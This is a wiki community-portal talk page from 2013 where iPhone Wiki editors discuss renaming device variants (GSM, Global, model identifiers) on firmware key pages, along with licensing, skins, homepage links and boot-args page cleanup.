So this entire discussion came up because we need to remove "GSM" from models, because there are many models nowadays where the non-GSM model or Global or whatever model, all support GSM. One suggestion was the FCC number, but I think we already agreed that this is out of discussion (only used within USA and nobody refers to this number). So we have to use either
*The Axxxx number (like A1332 for the iPhone 4). This is how Apple identifies their devices.
*The ap number (like n94ap or just short N94). This is the internal name and used in internal references, like in the [[iBEC]] or [[iBSS]] filenames within an [[IPSW]]. (This is also what iH8sn0w has on his stickers on the devices.)
*The 1,2 number (like iPad1,1 for the iPad 1G). This identifier is used in the [[IPSW]] filenames.
There are several issues with using one over the other:
*Some devices (iPad 1G, iPhone 3G, iPhone 3GS, iPhone 4S, iPhone 5, iPhone 5c, iPhone 5s to be exact) have multiple Axxxx numbers for the same ap number/1,2 number. For example the iPad 1G: A1219 (WiFi model) and A1337 (GSM model) both have k48ap / iPad1,1. So only the Axxxx number could be used to replace the "GSM" identifier.
*The iPhone 4 has for A1332 two ap numbers/1,2 numbers: A1332 stands for both n90ap/iPhone3,1 and also for n90bap/iPhone3,2.
*The iPod touch 5G has the same 1,2 number for two ap numbers/Axxxx numbers: iPod5,1 stands for both A1421/n78ap and also for A1509/n78aap.
I understand the point from [[User:IAdam1n|iAdam1n]] somehow that we should make it consistent and change it everywhere in the same manner. The question is where to change what. So where do we use these terms?
*The biggest affected change would be the key pages, so any change there should be carefully considered. Currently we use something like: "InnsbruckTaos 11B554a (iPhone 5c Global)". So the discussion here is just about the change in the brackets. For the devices where no different hardware versions exist, I think the current naming is ok. So let's just continue using that. Only where different (sub-)devices exist for the same main model (like for the iPhone 5c) and they require a different firmware file, then we need to specify it. So we need to add something after the "iPhone 5c" to specify the difference. For older devices, we should leave it as it is, because it works very well there. For example the iPad 1G WiFi and GSM require different firmware, but can be differentiated that way. And we can't use the ap number, because both versions use k48ap, respectively iPad1,1. So I think we should leave the old devices as they are. For newer devices, like the iPhone 5c, there are only two variations for the firmware, but six different Axxxx numbers and we don't want to list all of them in the firmware name. We also cannot use "GSM" for the reason mentioned at the introduction. I would prefer to use the ap number there, but that yields to problems. In case of the iPod touch 5G, we have two models (A1421/n78ap and also A1509/n78aap). Fortunately both use the same firmware, so we don't have to specify anything. But if Apple would release an additional model that would require a different firmware, we would have to specify the name even here and we can't add a name like "n78ap+n78aap". The name iPod5,1 there seems to be the obvious choice, as it is contained in the ipsw name already, so it is unlikely that Apple will change that. The only question is the format then. My choice would be to keep it short, something like "InnsbruckTaos 11B554a (iPhone 5c [5,4])" instead of the current "InnsbruckTaos 11B554a (iPhone 5c Global)". We shouldn't repeat the word "iPhone" there. And we shouldn't remove the "5c" of the original name.
*We also have some hardware lists, for example on the key pages titles where we list under iPad 2: Wi-Fi, GSM, CDMA, Wi-Fi (A). They link directly to our ap-pages, for example the "Wi-Fi (A)" name links to "k93aap". I think we don't need to change this. For the iPhone 5c, we have GSM and Global and they also link to the ap-pages. The link remains there, so we would only change the name. I suggest to use the same short name as in the key page extension, so something like my suggested "[5,4]" for example (instead of "GSM").
*On the [[Models]] page, we have the column "Variant", which also lists "GSM" and "Global" etc. That would also need to change. I suggest to leave it for older devices where "GSM" is a valid differentiation. For newer devices we might list the bands it supports or something else.
*On hardware pages, like [[iPhone]], we also have names and links in the title bar. For devices that have different sub-devices (like the iPhone 4 and iPhone 5/5c/5s) I suggest to rename the title names to the ap-names, as they link to the respective page. I would not change the title "iPhone 3G" to "N82ap" although it links there. So this change would only apply to sub-titles.
--[[User:Http|http]] ([[User talk:Http|talk]]) 00:26, 31 December 2013 (UTC)
:Include iPhone 4 in the change and use same format everywhere on the wiki. I agree that we do not need to change devices with only one variant such as iPhone 3GS. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:59, 31 December 2013 (UTC)
:: I agree on that. 3GS, 3G and the 1st iPhone are anyway devices where I do not see too many wiki-related changes in the future.--[[User:M2m|M2m]] ([[User talk:M2m|talk]]) 09:57, 31 December 2013 (UTC)
:I don't like how the abbreviated form of "iPad3,4" looks— I understand wanting to keep "iPad 4" in the name, but I can't come up with alternatives besides going with only the identifier. (Another issue is that MediaWiki's markup parser doesn't seem to like square brackets in links— I tried using <code><nowiki><nowiki /></nowiki></code>.) Having thought it over for a few days, I'm more receptive to changing all multi-variant devices (i.e. including the iPhone 4), but my concern about the Recent changes getting flooded with page moves still exists. The page moves should be done on "quiet" days, when the wiki doesn't see much activity. That being said, this is my understanding of the proposed changes. Does everyone agree with the following?
:* On pages like [[iPhone]], the variant labels will be replaced with the identifier, e.g. iPhone3,1/iPhone3,2/iPhone3,3. (An exception will probably need to be made for the iPad1,1. The "Internal Name" row should also be modified because there will be duplicated information.)
:* On [[Models]], the variant labels will be replaced with something else for the iPhone 5 and newer. (I feel like there are too many LTE bands to list in such a spot, but I don't have any better ideas.)
:* On pages such as [[Firmware]] and [[Jailbreak]], labels will be changed to things like "iPhone 4 (iPhone3,1)" and "iPad 4 (iPad3,4)." Single-variant devices like the Apple TV 2G will remain as-is.
:* The key pages will be moved to a different title, to resemble the following.
:** [[InnsbruckTaos 11B554a (AppleTV3,1)]]
:** [[InnsbruckTaos 11B554a (iPad2,4)]]
:** [[InnsbruckTaos 11B554a (iPhone3,1)]]
:** [[InnsbruckTaos 11B554a (iPod touch 5G)]]
:Do let me know if I missed something. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 23:57, 31 December 2013 (UTC)
::I agree with your idea [[User:Dialexio|Dialexio]], but make every page use iPhone 4 (iPhone3,1) etc. Of course if pages use iPhone 4 (GSM) now, change that to iPhone 4 (iPhone3,1) or iPhone 4 (3,1). I would suggest moving 10 pages per day for the iPhone 4 to avoid flooding. I do not want some pages to include the AP identifier and some others iPhone3,1 for example. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:08, 1 January 2014 (UTC)
:::Several comments:
*The square brackets were just an idea, nothing agreed on that yet. And yes, let's forget this idea if it has problems with MediaWiki.
*The beginning of the name should remain, otherwise we're getting inconsistent with other pages. I agree with [[User:IAdam1n|iAdam1n]] on this. To keep it short, my favorite would be something like "iPhone 4 (3,1)" then. But to make it more clear, "iPhone4 (iPhone3,1)" is also ok to me. If you wanted to leave the first part away and just use "iPhone3,1", then we would have to rename ALL pages (that's also an option).
*Regarding flooding, I prefer that we do all changes at once, at an agreed date/time, done by [[User:Dialexio|Dialexio]]. Maybe in two steps: first step to change the few hardware pages plus one page of each device of the key pages. In the second step the rest. This would ensure that any misunderstandings get catched in the first step, before all pages are renamed. I don't like to have 20 edits per day that I have to go through. Better all at once, but only after agreement of all.
*Yes, we can do iPhone 4 too, if that't the only missing one. It was a misunderstanding on my part for iPad GSM/WiFi, as this doesn't have different firmwares (only on hardware pages needed).
*Regarding the proposed listing of the bands on the [[Models]] page, Variant column, we could only list the bands that are different to make it short.

Can we list here what pages would be affected by the changes? Feel free to edit this list here within my comment. Here's what I have in mind:
*[[Models]]
*[[Apple TV]], [[iPad]], [[iPad mini]], [[iPhone]], [[iPod touch]]
*[[Firmware Keys]]
*[[Firmware]], [[Beta Firmware]]
*[[Jailbreak]]
*key pages: iPhone 4 GSM (like [[Telluride 9A334 (iPhone 4 GSM)]]), total 72 pages
*key pages: iPhone 4 GSM (A) (like [[InnsbruckVailPrime 11A4372q (iPhone 4 GSM Rev A)]]), total 22 pages
*key pages: iPhone 4 CDMA (like [[BrightonMaps 10B329 (iPhone 4 CDMA)]]), total 53 pages
*key pages: iPhone 5 GSM (nonexistent), total 16 pages
*key pages: iPhone 5 Global (nonexistent), total 16 pages
*key pages: iPhone 5c and 5s (nonexistent), total 8 pages
The key pages would get moved without redirect and all references updated. The references should also be in this list above. Add it to the list if I forgot anything.
--[[User:Http|http]] ([[User talk:Http|talk]]) 15:07, 1 January 2014 (UTC)

== Key page template ==
I actually like the idea of a database to an extent. I bet I could put together an extension that creates a [[Special:SpecialPages|special page]] that allows read access to everyone (and r/w access to users). Any edits to the key "pages" wouldn't cause a [[Special:RecentChanges|recent changes]] log. If we ever needed to update the layout, we would just need to update the extension. We could even have an API.
The only limitation is that updates to the extension would require either [[User:geohot|George]] or [[User:Dialexio|Alex]] needing to upload the fix. If we were to set up an external site, then all links to it would need to be wrapped with <code>...</code>.
Maybe a simple extension that takes links and redirects you to the external site? That could work. Like, we would have a link to, say, <code>[[<nowiki/>Special:Keys/iPad1,1/9A405]]</code> which would give an HTTP <code>301 Moved Permanently</code> header to, say, <code><nowiki>http://ioskeys.com/iPad1,1/9A405</nowiki></code>. Granted, someone would have to pay for the domain, but it would solve this problem. I may be able to pay for the domain if I make enough money by the time I finish writing everything. Any opposition? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 16:48, 21 November 2013 (UTC)
:I do not like the idea. I like the idea of the database to a degree, but I think that the pages should remain on this wiki. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 17:03, 21 November 2013 (UTC)
::I don't see this solving any problem— the backlash against changing the key page template was because of (unnecessary?) changes to the arguments, and the frequency of how often such changes were being proposed/applied. How would a database prevent it? For instance, let's say the database columns are all decided on. Suddenly, it's decided that SHA-1 hashes should be added as well, or perhaps "VFDecryptKey" will be renamed to "FSKey." People submitting keys would still be bothered with having to adjust for those changes. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:40, 21 November 2013 (UTC)
:::That with the database is something I'll implement anyway (if not someone else is faster, as I'm quite busy). I just threw that in here as it might solve the problem of the frequent template updates (which is/was wrong anyway). From there it would be easy to create the VFDecrypt page with an overview link or lists of missing keys and that stuff, so the wiki would not need any direct links. But it would mean that we either completely remove all keys here from the wiki and embrace that solution or have them still duplicate (which then doesn't solve the problem). Dialexio: renaming columns can be handled without interface changes, but that's another topic. So let's forget about this database thing for now and we can discuss again when I have something. We certainly don't want to add extensions for that. So back to the discussion about the renaming: If I understood this correctly, you only want to rename A5+ devices and therefore no key pages would be affected. Is my understanding correct? --[[User:Http|http]] ([[User talk:Http|talk]]) 22:08, 21 November 2013 (UTC)
::::As long as the pages stay on this wiki, I do not mind. Although, a database could be pointless as with only 50 more pages to edit for the new format, there is no planned new format/changes again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 22:16, 21 November 2013 (UTC)
::::About the renaming, that is correct; I'm only interested in changing the cellular labels on A5/+ devices. (Well, the iPad 2 can remain as-is.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 00:02, 22 November 2013 (UTC)
:::::Oh, well that would just make things more complicated/inconsistent. We should do all or none. About the template idea, there is also no need as it is not likely we will change the format again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:35, 22 November 2013 (UTC)
::::::Do we really need to CHANGE THE FORMAT 50 TIMES IN A ROW? The old one before everything was messed with worked fine enough. [[User:Winocm|Winocm]] ([[User talk:Winocm|talk]]) 18:22, 27 November 2013 (UTC)
:::::::It was actually one change, which was completed. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:32, 27 November 2013 (UTC)

==Login prompt revision suggestion==
I wrote a suggestion here: [[MediaWiki talk:Loginprompt]] (since I don't have permission to edit [[MediaWiki:Loginprompt]] directly) - I'd be interested in whether it sounds like a good idea to other people. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 01:00, 8 October 2013 (UTC)

==Homepage suggestions==
Under "Application Development", what about linking to [http://iphonedevwiki.net/index.php/Main_Page iPhoneDevWiki]? It's also a community-edited technical resource, and it links to this wiki. It could be helpful to add a little more detail to "Get [[up to speed]] in the community.", like this: "Get [[up to speed]] in the community - learn about how jailbreaks work." Under "Definitions", it could be helpful to list all the firmware tags in one line or sub-list, similar to how Jailbreak is organized next to Tethered jailbreak and Untethered jailbreak, both to save space and help readers understand the list. --[[User:Britta|Britta]] ([[User talk:Britta|talk]]) 23:01, 20 October 2013 (UTC)
:A link to the iPhoneDevWiki sounds good. I wonder if we should have an "External Links" or "Other Resources" section to include links to other sites (such as the [http://blog.iphone-dev.org/ iPhone Dev Team blog]) though. As for the "Up to Speed" page, I feel like the entire page could be reworked a bit— and perhaps even receive a new, clearer name ([[Introduction]]? [[Preface]]? Or something else?)— the current name makes it sound like it's for people that last paid attention to jailbreaking when the App Store didn't exist. And yeah, moving the IMG3 tags to a sub-list sounds like a really good idea. (Admittedly, I actually don't care for its inclusion in the first place, but that's just a personal preference.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 00:10, 21 October 2013 (UTC)
::There's already [[Useful Links]] with some links to other core community resources (which could be updated and rearranged) - I was just thinking that it'd be especially useful to link to iPhoneDevWiki prominently since it's likely for TheiPhoneWiki visitors to also be interested in relatively-organized technical information about development. Changing the name of "Up to Speed" sounds fine to me too - that page didn't get much attention since 2008 until I sort of commandeered it to serve as an "intro to jailbreaking" page. :) It could be renamed "getting started", as in "how to get started on learning about research into iOS devices, especially security research (such as jailbreaks)". [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:31, 21 October 2013 (UTC)
Also I'd love to see a dedicated section for "Good tasks for new editors", where we could maintain a list of relatively easy/straightforward suggested edits that wouldn't require vast technical knowledge, like updating that links page. Where would that go? Add it as a sub-section of [[The iPhone Wiki:Current events]] and link that section from the homepage or something? Or make a new page? [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:40, 21 October 2013 (UTC)

==What is 0x5265c384 in the boot process?==
Does anybody know where <code>0x5265c384</code> points to in the boot process? I haven't been able to find anything on it. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 20:14, 23 October 2013 (UTC)

==License for contributions==
This wiki has never had an official license for contributions. Now, IANAL, but IIRC, this means that you can't use ''anything'' posted here unless it qualifies as fair-use. What I propose is that we set a license and add a notice that states that any contributions after a set date are to be licensed under that license (that's kindof a mouthful). I think we should use the [http://creativecommons.org/licenses/by-sa/3.0/ CC-by-SA 3.0] as [[wikipedia:Wikipedia:Text of Creative Commons Attribution-ShareAlike 3.0 Unported License|Wikipedia uses it]], but that's just me. Any ideas? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 19:53, 9 November 2013 (UTC)
:Well, the edit info already says all this:
Please note that all contributions to The iPhone Wiki may be edited, altered, or
removed by other contributors. If you do not want your writing to be edited mercilessly,
then do not submit it here.
You are also promising us that you wrote this yourself, or copied it from a public
domain or similar free resource (see The [[:The iPhone Wiki:Copyrights|iPhone Wiki:Copyrights]] for details). '''Do not'''
'''submit copyrighted work without permission!'''
For me, that's enough. I don't need a 50 page license. But if you want to formalize this more, go ahead. --[[User:Http|http]] ([[User talk:Http|talk]]) 20:35, 9 November 2013 (UTC)

:Sounds good. It's good practice to have an official license, just in case any disputes happen someday, and to ensure that it's OK to copy text over to Wikipedia (for example). [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 21:32, 9 November 2013 (UTC)

==Future plans==
Now that I have SSH access, I've begun working on making several, somewhat-overdue changes to the wiki. The Renameuser extension was reinstated, so admins can now rename accounts. If you have another account, that can also get merged into your current account. If you happen to get locked out from both your account and the email used is no longer active, I can run a script to reset your password. I've also begun implementing a very noticeable change— as users of the Vector skin have noticed, the iOS 6-based theming is gone. It's a semi-temporary move though; it's going into its own skin, because… you know, choice is cool. People who like the Vector skin may not have liked the iOS theming, especially since IE 9 and lower didn't display it completely accurately. Therefore, it's going into its own theme. Once that's done I also plan on making a separate iOS 7-based skin. If there are any further thoughts or suggestions on how to improve the wiki, do let me know! --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 22:18, 9 November 2013 (UTC)

== #we r of #WONDER ==
<nowiki/>#we r hav from of #QUESTIN holme ! #we r from of #WONDER #what is of #RESON in of #EDIT #wikeee ? #tanks and of RT #RT Smiley Smiley :) :) 
<nowiki/>#we r of #WONDER ! #is from also #of #WAKIKIKI #open src :) #is avalable under from of #FRE license ? --[[User:UnthreadedJB|UnthreadedJB]] ([[User talk:UnthreadedJB|talk]]) 21:11, 1 December 2013 (UTC)

:See [[#License for contributions]] above; no formal license for the content at the moment, and it'd be nice to get more opinions on this from other editors. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 22:47, 1 December 2013 (UTC)

==Banner Replacement?==
I kinda feel like the banner on the front page is getting a little stale, so I'm interested in seeing it replaced. I tossed a proposal [https://twitter.com/Draxelf/status/408295008794845184 on Twitter] a couple of days ago (which is admittedly plain, but Myriad Set…), but I haven't heard any opinions on replacing the banner. Are there any thoughts on this matter? --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:42, 6 December 2013 (UTC)
:Or, [http://imgur.com/wJFqPl1 this]. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:22, 6 December 2013 (UTC)

:Looks nice in Myriad! More professional. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 04:01, 7 December 2013 (UTC)

==Date Format==
I see that [[User:IAdam1n|iAdam1n]] started to unify the date formats in this wiki. While I like this to be consistent, actually we should've talked about what format to use before changing it. I like the d_mon_yyyy format though. I also saw that he removed the <code>&nbsp;</code> between the date parts on the [[iFaith]] page that I added once purposefully. The reason was that when making the browser window small (or on the iPhone) that the date wraps to two lines, which is almost always undesired. The question is if we should do that everywhere too? Additionally, as we now seem to have a "standard" here, we should document it, so that new users know what format to use. -- [[User:Http|http]] ([[User talk:Http|talk]]) 17:42, 30 December 2013 (UTC)
:I just made it consistent. If you want the <code>&nbsp;</code> back, feel free to add it. I removed it as it did nothing (previewing on OS X). We should use the format I used throughout the wiki and not Dec 23, 2013 etc. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:32, 30 December 2013 (UTC)

The iPhone Wiki:Community portal

2013-12-31T00:26:01Z

Http: "GSM" Replacement Proposals V2

{{Talk Archive}}
{{see also|Unsolved problems}}
==iPhone-Elite==
I think we should include all this old stuff before it gets lost: [http://code.google.com/p/iphone-elite/ code.google.com/p/iphone-elite/]. I mean the wiki articles there. Most infos should be already here, but I'm sure a lot of things are missing too.
--[[User:Http|http]] 15:02, 26 June 2012 (MDT)

==Boot-args cleanup==
We need to clean up the boot-args pages. First the technical part: What I understand is that iBoot loads the kernel. And when loading it, it can pass some parameters to select certain behavior. So this only works with an iBoot or bootrom exploit. I understand that in earlier firmware versions there was simply an iBoot variable, but that doesn't exist or work anymore, now passing theses args requires a different or patched iBoot. There are various parameters in different kernel versions. The description for these arguments is scattered over various places:
*[[Kernel#Boot-Args]] A section with the latest boot arguments list. This should be a short introduction and having a link "main article".
*[[Boot-args (iBoot variable)]] separate page for boot arguments, but mainly for the iBoot variable that doesn't exist any longer
*[{{FULLURL:Boot arguments|redirect=no}} Boot arguments] (redirect)
*[[:Talk:Restore_Mode]] describing the iBoot variable problem
*Various pages referencing boot-args, like [[Research: Re-allowing unsigned ramdisks and boot-args with the 2.* iBoot]] (here we should have a link on the second title)
*My earlier comment [[:Talk:Kernel#boot-args]]
*This comment here.
So what do we want to do about this mess? I suggest to move the current [[Kernel]] content to the redirect page [[Boot arguments]] (or to another new page, maybe [[boot-args]]). The current content of [[Boot-args (iBoot variable)]] and all other content should get merged into there. Then change all references to this new page and on the [[Kernel]] page write just something short with "main article there". What do you think? --[[User:Http|http]] ([[User talk:Http|talk]]) 21:31, 13 February 2013 (UTC)
:I like [[Boot Arguments]]. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 02:01, 14 February 2013 (UTC)
::One addition: Maybe we should use [[boot-args]] as the main page, because all links are written like that. --[[User:Http|http]] ([[User talk:Http|talk]]) 07:37, 14 February 2013 (UTC)

==The iPhone Wiki re-design==
The design of the iPhone wiki is now quite old and I think it should be updated. I made a [http://oi42.tinypic.com/30ib9y8.jpg concept]. --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 10:30, 14 June 2013 (UTC)
:I disagree. If anything add an iPhone 5 to the logo but everything else is ok. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 11:05, 14 June 2013 (UTC)
:I wouldn't change the logo to an iPhone 5, especially with iOS 7 and a new iPhone (that will probably look the same as the 5, admittedly) around the corner. I contemplated updating the CSS for iOS 7's UI but decided not to because of the UI's supposed volatility (during the beta period) and I don't have a live version to toy around with. (I personally don't like its current state, but that's not a factor in why I'm not changing it yet.) --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 16:25, 14 June 2013 (UTC)
::Can we not do flat? --[[User:Haifisch|Haifisch]] ([[User talk:Haifisch|talk]]) 21:02, 14 June 2013 (UTC)
::This is what I was thinking. When iOS 7 finally comes out, we could change the CSS to look like that instead. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 21:11, 14 June 2013 (UTC)
:::iOS 7 looks ugly. We do not want it like that. Maybe a bit more modern but nothing much. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:16, 14 June 2013 (UTC)
::::''You'' may not want it like that. That's your opinion. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 01:55, 15 June 2013 (UTC)
:::::We could make a poll, and see if most users agree or disagree. --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 10:05, 15 June 2013 (UTC)
:The idea looks nice. But before we make any changes, let's wait until iOS7 comes out. And I'd prefer to just add another skin instead (if possible). I'm still using the classic MonoBook skin by the way. You shouldn't impose design changes to everyone. --[[User:Http|http]] ([[User talk:Http|talk]]) 14:38, 15 June 2013 (UTC)
::The problem with skins is that geohot needs to set them up... An idea I have is that we copy the Vector skin verbatim to a new skin (<code>iOS6</code>) and move the modifications (not general stuff) to [[Mediawiki:iOS6.css]]. Then we can do another verbatim copy to <code>iOS7</code> and modify [[Mediawiki:iOS7.css]]. We could then set the default skin to either <code>iOS6</code> or <code>iOS7</code> so you don't need to be logged in to see them like currently. Then if someone doesn't like them, like you, just change your settings to your preferred skin. The only way around needing geohot is if he opens up the credentials to FTP or whatever to someone. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 21:17, 15 June 2013 (UTC)
:::I like [[User:5urd|5urd]]'s suggestion. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 22:29, 15 June 2013 (UTC)
What about just removing the text-shadow element for now? I think pages would be easier to read without it. Here's an example: [[:File:Noshadow.png]]. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 00:11, 29 August 2013 (UTC)
:Yeah removing the shadow will make everything seem more flat but like [[User:http|http]] I'm still using the classic [http://theiphonewiki.com/w/index.php?title=Main_Page&useskin=monobook MonoBook skin] --[[User:Jaggions|Jaggions]] ([[User talk:Jaggions|talk]]) 21:19, 31 August 2013 (UTC)

==Hacker page==
I would like to be added to the list of hackers for my work with the Private Dev Team and the [[Chronic Dev (team)|Chronic Dev Team]] in addition to my release of the Phoenix Semi-Untethered. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]]) 18:36, 22 July 2013 (UTC)
:Did you find any exploits? --[[User:Haifisch|Haifisch]] ([[User talk:Haifisch|talk]]) 18:54, 22 July 2013 (UTC)
::No. [[User:phyrrus9|phyrrus9]], a team member found the vulnerability. I am the one who exploited it. --[[User:Ph0enix|Ph0enix]] ([[User talk:Ph0enix|talk]])
:::I can back up this "claim". I was a part of it. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:52, 28 July 2013 (UTC)
::::Whatever happened to this? --[[User:Phyrrus9|phyrrus9]]

==Orphaned articles==
This is an interesting search: [[Special:LonelyPages]] - "The following pages are not linked from or transcluded into other pages in The iPhone Wiki." I'm not sure where all of those articles should be linked, but figuring that out could be a useful project for somebody. [[User:Britta|Britta]] ([[User talk:Britta|talk]]) 05:57, 28 August 2013 (UTC)

==Easy tasks for new editors==
* Finish converting the remaining error codes listed here [[MobileDevice_Library#Known_Error_Codes]] into the proper mach_return_t codes they should be displayed as. (convert the negative number listed into hex, strip any leading "FF" so it should be in the format "0xe80000" followed by two numbers) --[[User:Dirkg|Dirkg]] ([[User talk:Dirkg|talk]]) 22:40, 28 August 2013 (UTC)

== A1XXX model numbers vs. "GSM"/"CDMA"/"Global"/"Cellular"/etc. ==
I know that this topic was [[The iPhone Wiki:Community portal/2013#iPhone 5|already discussed earlier this year]], but it didn't seem to come to a consensus, and the introduction of the [[iPhone 5c]] and [[iPhone 5s]] brought a lot of model numbers. Some of them may "overlap" (think models A1429 and A1442 for the [[iPhone 5]]), but there's simply too many to give names to. There are at least two that can connect to CDMA networks, and all of them can connect to GSM. In addition, with the sheer amount of models, it doesn't seem likely for one model to be treated as a "global" model. Therefore, I changed the iPhone 5c to use model numbers. I would like to do the same to some of the devices that are already present on the wiki though— the same ones from when I first brought up this idea. The GSM/CDMA names work very well for the [[iPad 2]] and [[iPhone 4]]. Things are slightly murkier for the [[iPad 3|iPad (3rd gen.)]], [[iPad 4|iPad (4th gen.)]], [[iPad mini 1G]], and [[iPhone 5]] though; all of those devices' cellular models can connect to GSM networks, so it seems like nonsense to call some of them the "GSM model." The A1XXX model numbers are also how Apple tells the difference between the different models of these devices. Have any opinions changed? Or perhaps someone new might have something to say about this? --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 06:06, 13 September 2013 (UTC)

:I actually like the idea as it does get complicated now with the new devices coming like said and we would have to do this for all devices. Although, if we did this, we would have to move all the key pages that have keys on to support this. That would not be a big problem as we could limit the moves to say 20 per day. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:47, 13 September 2013 (UTC)

:I suggest we wait a bit until we see what models of the [[iPhone 5c]] and [[iPhone 5s]] will exist. But in general, I like the idea of using only the A1nnn numbers. The only issue I see right now is that Apple differentiates between A1532 GSM and A1532 CDMA. If there are real hardware differences between these two, then we're screwed again. That's why I suggest to wait until we know these exact model types. On the disambiguation page I added the GSM/CDMA model differentiation already (as Apple does). If they turn out to be the same, we can remove it again, but I wonder why Apple lists two models (with different bands supported) there now. Someone also added the "CDMA" mark to one of the others, but that's not how Apple marks them, so I suggest to remove that mark there again. If everything can be differentiated by these A-model-numbers, then yes, we should change the old pages too. Including all key pages. --[[User:Http|http]] ([[User talk:Http|talk]]) 14:44, 13 September 2013 (UTC)

::I do know there are 2 CDMA and 3-4 GSM for the [[iPhone 5c]] alone. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 16:04, 13 September 2013 (UTC)

:::Ahem… ''All'' of the iPhone 5c models can do GSM communications. Hence one of the reasons why I want to ditch the "GSM"/"Global"/etc. labels in favor of A1XXX model numbers. ;P --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 16:07, 13 September 2013 (UTC)

::::One thing is, what about iPod touch 5 as that has two model numbers that are the same device, same with iPhone5,2. How would we get around that? I suppose we could like both separated with a forward slash. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:19, 13 September 2013 (UTC)

:::::Yeah, we could just use something like "[[n42ap|iPhone 5 (Model A1429/A1442)]]." --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 22:45, 13 September 2013 (UTC)

::::::Yeah I thought that but what about the iPhone 4 GSM and GSM Rev A? They both seem to be A1432. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:10, 13 September 2013 (UTC)

:::::::This is why I'm against using the A1XXX model numbers instead of the current GSM/Global thing. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 23:25, 13 September 2013 (UTC)

::::::::I had no plans to change the way we refer to the iPhone 4 or iPad 2 (Apple does use GSM/CDMA, and for those devices it works fine). If a new iPhone 5S revision comes along, Apple will probably refer to it as a "Rev A" thing, and so will we. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

:Referencing Adam's reply above, if we had took that to the key pages, it'd be <code>[<nowiki/>[{BuildTrain} {Build} (A1432)]]</code> which would mess ''everything'' up. What could we do? Use <code>[<nowiki/>[{BuildTrain} {Build} (A1432 Rev A)]]</code>? No. That doesn't look good. The current way of referring to everything by their supported network type (GSM/CDMA/Global) helps in going to a different page.
:Let's say I'm on [[BrightonMaps 10B329 (iPhone 4 GSM)]] and I want to go the CDMA device. What do I do? Go to the URL and replace <code>GSM</code> with <code>CDMA</code>. With the model numbers, I'd have to navigate to [[Firmware]], then find the link, or find out what the model number of the CDMA variant is and replace the model number in the URL with that. 
:Ok, who navigates by the URL and search bar? ''I do''. And I'm sure there's '''many''' people out there that prefer to navigate with the search bar if they know the page name. If we go by model number, the AJAX search results just list pages with a model number in parenthesis. '''How does that help'''? I'd either have to ''know'' the model number of the device I want, or visit ''each one'' until I find the page I need.
:Sorry for the rant, but I am '''strongly''' against this. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 23:25, 13 September 2013 (UTC)

::I do suppose we could just trash the buildtrain all together to shorten it down too. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:32, 13 September 2013 (UTC)

:::Dropping the Build Train would only ''increase'' the workload. Besides, what's the harm with it? We've been using the same page title structure since forever, and it's worked. "''If it ain't broke, don't fix it''". The current system works, so ''why'', other than the fact that Apple refers to them differently, should we change this? In addition, we don't refer to everything the way Apple does. The [[iPad mini 1G]] is referred to as the "iPad mini". The [[iPad 3]] is refered to as "The New iPad". The [[iPad 4]] is refered to as "iPad with Retina Display"[http://www.apple.com/ipad/compare/]. Are the key pages titled <code>BrightonMaps 10B329 (The New iPad, Wi-Fi+3G for AT&T and Verizon)</code>? No. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 00:37, 14 September 2013 (UTC)

